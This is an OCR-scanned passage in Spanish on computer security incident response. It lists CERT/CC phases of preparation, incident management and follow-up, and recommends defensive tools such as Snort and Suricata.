e Contar con herramientas que permitan facilitar la deteccion vy
rastreo de los ataques para evitar perder tiempo revisando gran
cantidad de logs que podrian ser falsos positivos.

e Capacitacion para todo el personal de la entidad para mejorar los
procesos en lo que tiene que ver con la seguridad de la informacién.

e Redefinir procedimientos inadecuados.

e Implementar medidas correctivas para mejorar respuesta ante
eventos futuros.

e Adquirir herramientas para reforzar la seguridad del sistema
e Revisar politicas de seguridad.
e Analizar directrices actuales y crear nuevas que permitan mejorar

la seguridad de los sistemas.

El CERT/CC (Computer Emergency Response Team / Coordination Center)
ha propuesto una serie de actividades para mejorar la respuesta de una
organizacién ante los incidentes de seguridad informatica:3

1. Preparacion de la respuesta ante incidentes de seguridad

3VIEITES, A. Gomez. La lucha contra el ciberterrorismo y los ataques informaticos.
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Definir y documentar plan y procedimientos en respuesta a los
incidentes

Revisar que el plan cumpla con los requisitos legales vy
contractuales

Verificar procedimientos de copias de seguridad

Crear discos de arranque y copias de aplicaciones y servicios
necesarios para el optimo funcionamiento

Entrenamiento del personal afectado

Mantenimiento de base de datos de contactos

2. Gestion del incidente

Aislamiento de equipos afectados y copias de seguridad de discos
Proteccién de informacion relacionada con el incidente
Almacenamiento de la informacién preservando evidencias
Revisién de informacion disponible para definir claramente el tipo
de incidente

Informar a las personas y organismos competentes

Participar en la investigacion de los responsables del incidente
Aplicar soluciones de emergencia para contencion del incidente:

e Desconectar equipos de la red
Desactivar dispositivos y servicios
Apagar equipos criticos

Cambiar contrasefas

Inhabilitar usuarios

3. Seguimiento del incidente

Identificar conclusiones del incidente
Implementar las mejoras propuestas en cada incidente

Software Recomendado

Firewall
Snort
Suricata
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